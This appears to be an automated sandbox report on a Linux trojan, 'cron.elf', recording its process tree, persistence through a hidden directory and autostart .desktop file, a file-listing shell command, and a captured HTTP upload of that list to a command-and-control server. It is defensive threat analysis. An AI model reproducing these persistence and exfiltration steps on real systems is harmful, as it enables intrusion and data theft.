Edit tour

Linux Analysis Report
cron.elf

Overview

General Information

Sample name:	cron.elf
Analysis ID:	1522583
MD5:	0ee42b6d702553b4e87376859f4139bc
SHA1:	f01b9af23aac2cb9eb4b7c82642d15533ccf6db1
SHA256:	c12708e6829d7207b16a4fccf65ed05758c676cd70d3e9746c375f5d27bff501
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Sample and/or dropped files likely contain functionality related to malicious behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to persist itself using .desktop files

Uses known network protocols on non-standard ports

Writes ELF files to hidden directories

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "rm" command used to delete files or directories

Executes the "uname" command used to read OS and architecture name

Sample and/or dropped files contains symbols with suspicious names

Sample has stripped symbol table

Sample tries to set the executable flag

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522583
Start date and time:	2024-09-30 11:58:49 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	cron.elf
Detection:	MAL
Classification:	mal92.troj.evad.linELF@0/39@0/0

Runtime Messages

Command:	/tmp/cron.elf
PID:	6217
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

cron.elf (PID: 6217, Parent: 6143, MD5: 0ee42b6d702553b4e87376859f4139bc) Arguments: /tmp/cron.elf

cron.elf New Fork (PID: 6242, Parent: 6217)

cron.elf (PID: 6242, Parent: 6217, MD5: 0ee42b6d702553b4e87376859f4139bc) Arguments: /tmp/cron.elf

cron.elf New Fork (PID: 6244, Parent: 6242)

ldconfig (PID: 6244, Parent: 6242, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /sbin/ldconfig -p

ldconfig.real (PID: 6244, Parent: 6242, MD5: cf725620cf31c0c148dfb25bfe210af6) Arguments: /sbin/ldconfig.real -p

cron.elf New Fork (PID: 6245, Parent: 6242)

sh (PID: 6245, Parent: 6242, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -p 2> /dev/null"

sh New Fork (PID: 6246, Parent: 6245)

uname (PID: 6246, Parent: 6245, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -p

cron.elf New Fork (PID: 6369, Parent: 6242)

sh (PID: 6369, Parent: 6242, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "cd; find . -type f > /tmp/list.txt"

sh New Fork (PID: 6370, Parent: 6369)

find (PID: 6370, Parent: 6369, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: find . -type f

cron.elf New Fork (PID: 6372, Parent: 6242)

sh (PID: 6372, Parent: 6242, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /root/.gnome3/cron.elf"

sh New Fork (PID: 6373, Parent: 6372)

chmod (PID: 6373, Parent: 6372, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /root/.gnome3/cron.elf

dash New Fork (PID: 6218, Parent: 4332)

rm (PID: 6218, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY

dash New Fork (PID: 6219, Parent: 4332)

rm (PID: 6219, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY

systemd New Fork (PID: 6247, Parent: 1)

uuidd (PID: 6247, Parent: 1, MD5: 9635fb70deacacfc235cf3b9fb4a96c4) Arguments: /usr/sbin/uuidd --socket-activation

cleanup

Suricata Signatures

ETPRO MALWARE Py/Cannibal RAT Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:03:18.705520+0200	2829852	1	Malware Command and Control Activity Detected	192.168.2.23	54596	157.173.198.190	15124	TCP

HTTP traffic detected: POST /api/root_245842932284287/upload HTTP/1.1Host: 157.173.198.190:15124Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.18.4Content-Length: 269Content-Type: multipart/form-data; boundary=0cab8ce8f52f4905853cf8e5cb943139Data Raw: 2d 2d 30 63 61 62 38 63 65 38 66 35 32 66 34 39 30 35 38 35 33 63 66 38 65 35 63 62 39 34 33 31 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 65 64 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 74 78 74 22 0d 0a 0d 0a 2e 2f 2e 62 61 73 68 72 63 0a 2e 2f 2e 70 72 6f 66 69 6c 65 0a 2e 2f 2e 73 73 68 2f 61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 0a 2e 2f 2e 63 6f 6e 66 69 67 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 2e 2f 2e 76 69 6d 69 6e 66 6f 0a 2e 2f 2e 6c 6f 63 61 6c 2f 73 68 61 72 65 2f 61 70 70 6c 69 63 61 74 69 6f 6e 73 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 0d 0a 2d 2d 30 63 61 62 38 63 65 38 66 35 32 66 34 39 30 35 38 35 33 63 66 38 65 35 63 62 39 34 33 31 33 39 2d 2d 0d 0a Data Ascii: --0cab8ce8f52f4905853cf8e5cb943139Content-Disposition: form-data; name="uploaded"; filename="list.txt"./.bashrc./.profile./.ssh/authorized_keys./.config/mimeapps.list./.viminfo./.local/share/applications/mimeapps.list--0cab8ce8f52f4905853cf8e5cb943139--

Source: libpython2.7.so.1.0.12.dr	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: cacert.pem.12.dr	String found in binary or memory: http://www.chambersign.org
Source: libpython2.7.so.1.0.12.dr	String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).
Source: libpython2.7.so.1.0.12.dr	String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).xxsubtype
Source: old_root.pem.12.dr	String found in binary or memory: http://www.valicert.com/
Source: PKG-INFO.12.dr	String found in binary or memory: https://codecov.io/github/pyca/cryptography/coverage.svg?branch=master
Source: PKG-INFO.12.dr	String found in binary or memory: https://codecov.io/github/pyca/cryptography?branch=master
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://cryptography.io
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://cryptography.io/
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: PKG-INFO.12.dr	String found in binary or memory: https://github.com/pyca/cryptography
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://pypi.python.org/pypi/cryptography/
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr	String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: PKG-INFO.12.dr	String found in binary or memory: https://travis-ci.org/pyca/cryptography
Source: PKG-INFO.12.dr	String found in binary or memory: https://travis-ci.org/pyca/cryptography.svg?branch=master

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Sample and/or dropped files likely contain functionality related to malicious behavior

Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_get_keylog_callback
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_keylog_callback
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_SESSION_print_keylog

Source: _ssl.so.12.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: _ssl.so.12.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: _ssl.so.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: _ssl.so.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: cryptography.hazmat.bindings._openssl.so.12.dr	ELF static info symbol of dropped file: Cryptography_pem_password_cb
Source: cryptography.hazmat.bindings._openssl.so.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: cryptography.hazmat.bindings._openssl.so.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libcrypto.so.1.1.12.dr	ELF static info symbol of dropped file: CMS_RecipientInfo_set0_password
Source: libcrypto.so.1.1.12.dr	ELF static info symbol of dropped file: CMS_add0_recipient_password
Source: libcrypto.so.1.1.12.dr	ELF static info symbol of dropped file: CMS_decrypt_set1_password
Source: libpython2.7.so.1.0.12.dr	ELF static info symbol of dropped file: PyOS_InputHook
Source: libpython2.7.so.1.0.12.dr	ELF static info symbol of dropped file: _PyImportHooks_Init
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: _rl_match_hidden_files
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_completion_word_break_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_directory_completion_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_directory_rewrite_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_event_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_execute_next
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_filename_rewrite_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_filename_stat_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_input_available_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_pre_input_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_signal_event_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_startup_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: rl_username_completion_function
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: tilde_expansion_failure_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: tilde_expansion_preexpansion_hook
Source: libreadline.so.7.12.dr	ELF static info symbol of dropped file: username_completion_function
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_srp_password
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_srp_username
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_CTX_set_srp_username_callback
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_get_default_passwd_cb
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_get_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_get_srp_username
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_set_default_passwd_cb
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_set_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr	ELF static info symbol of dropped file: SSL_srp_server_param_with_username
Source: readline.so.12.dr	ELF static info symbol of dropped file: PyOS_InputHook
Source: readline.so.12.dr	ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: readline.so.12.dr	ELF static info symbol of dropped file: rl_pre_input_hook
Source: readline.so.12.dr	ELF static info symbol of dropped file: rl_startup_hook

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal92.troj.evad.linELF@0/39@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/cron.elf (PID: 6242)

File: /proc/6242/mounts

Jump to behavior

Sample tries to persist itself using .desktop files

Source: /tmp/cron.elf (PID: 6242)

File: /root/.config/autostart/gnome3.desktop

Jump to behavior

Writes ELF files to hidden directories

Source: /tmp/cron.elf (PID: 6242)

File written to hidden directory: /root/.gnome3/cron.elf

Jump to dropped file

Source: /tmp/cron.elf (PID: 6242)	Directory: /root/.gnome3	Jump to behavior
Source: /usr/bin/find (PID: 6370)	Directory: /root/.	Jump to behavior
Source: /usr/bin/find (PID: 6370)	Directory: /root/.	Jump to behavior
Source: /usr/bin/find (PID: 6370)	Directory: /root/.cache	Jump to behavior
Source: /usr/bin/find (PID: 6370)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/find (PID: 6370)	Directory: /root/.config	Jump to behavior
Source: /usr/bin/find (PID: 6370)	Directory: /root/.local	Jump to behavior

Source: /tmp/cron.elf (PID: 6245)	Shell command executed: sh -c "uname -p 2> /dev/null"	Jump to behavior
Source: /tmp/cron.elf (PID: 6369)	Shell command executed: sh -c "cd; find . -type f > /tmp/list.txt"	Jump to behavior
Source: /tmp/cron.elf (PID: 6372)	Shell command executed: sh -c "chmod +x /root/.gnome3/cron.elf"	Jump to behavior

Source: /bin/sh (PID: 6373)

Chmod executable: /usr/bin/chmod -> chmod +x /root/.gnome3/cron.elf

Jump to behavior

Source: /usr/bin/dash (PID: 6218)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY			Jump to behavior
Source: /usr/bin/dash (PID: 6219)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY			Jump to behavior

Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_cffi_backend.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_codecs_cn.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_codecs_hk.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_codecs_iso2022.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_codecs_jp.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_codecs_kr.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_codecs_tw.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_ctypes.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_hashlib.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_json.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_multibytecodec.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/_ssl.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/bz2.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._constant_time.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._openssl.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libbz2.so.1.0 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libcrypto.so.1.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libexpat.so.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libffi.so.6 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libpython2.7.so.1.0 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libreadline.so.7 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libssl.so.1.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libtinfo.so.5 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/libz.so.1 (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/pyexpat.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/readline.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/resource.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/termios.so (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/certifi/cacert.pem (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/certifi/old_root.pem (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/certifi/weak.pem (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/PKG-INFO (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/dependency_links.txt (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/not-zip-safe (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/requires.txt (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /tmp/cron.elf (PID: 6217)	File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/top_level.txt (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6373)	File: /root/.gnome3/cron.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_cffi_backend.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_codecs_cn.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_codecs_hk.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_codecs_iso2022.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_codecs_jp.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_codecs_kr.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_codecs_tw.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_ctypes.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_hashlib.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_json.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_multibytecodec.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/_ssl.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/bz2.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._constant_time.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._openssl.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libbz2.so.1.0	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libcrypto.so.1.1	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libexpat.so.1	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libffi.so.6	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libpython2.7.so.1.0	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libreadline.so.7	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libssl.so.1.1	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libtinfo.so.5	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/libz.so.1	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/pyexpat.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/readline.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/resource.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6217)	File written: /tmp/_MEIcXSYvg/termios.so	Jump to dropped file
Source: /tmp/cron.elf (PID: 6242)	File written: /root/.gnome3/cron.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 54556 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54558 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54560 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54562 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54566 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54568 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54570 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54572 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54574 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54576 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54578 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54580 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54582 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54584 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54586 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54588 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54590 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54592 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54594 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54596 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54598 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54600 -> 15124
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 15124

Source: _codecs_cn.so.12.dr

Dropped file: segment LOAD with 7.4298 entropy (max. 8.0)

Source: /tmp/cron.elf (PID: 6242)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/ldconfig.real (PID: 6244)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/uname (PID: 6246)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/find (PID: 6370)	Queries kernel information via 'uname':	Jump to behavior

Source: cacert.pem.12.dr

Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd

Source: /bin/sh (PID: 6246)

Uname executable: /usr/bin/uname -> uname -p

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	2 File and Directory Permissions Modification	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Hidden Files and Directories	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cron.elf	62%	ReversingLabs	Win32.Trojan.Generic
cron.elf	58%	Virustotal		Browse
cron.elf	100%	Avira	LINUX/AVI.Agent.jbqcs

Dropped Files

Source	Detection	Scanner	Label	Link
/root/.gnome3/cron.elf	100%	Avira	LINUX/AVI.Agent.jbqcs
/root/.gnome3/cron.elf	62%	ReversingLabs	Win32.Trojan.Generic
/root/.gnome3/cron.elf	58%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Link
http://www.unicode.org/reports/tr44/tr44-4.html).	0%	Virustotal	Browse
https://cryptography.io/	0%	Virustotal	Browse
https://img.shields.io/pypi/v/cryptography.svg	0%	Virustotal	Browse
https://github.com/pyca/cryptography	0%	Virustotal	Browse
https://pypi.python.org/pypi/cryptography/	0%	Virustotal	Browse
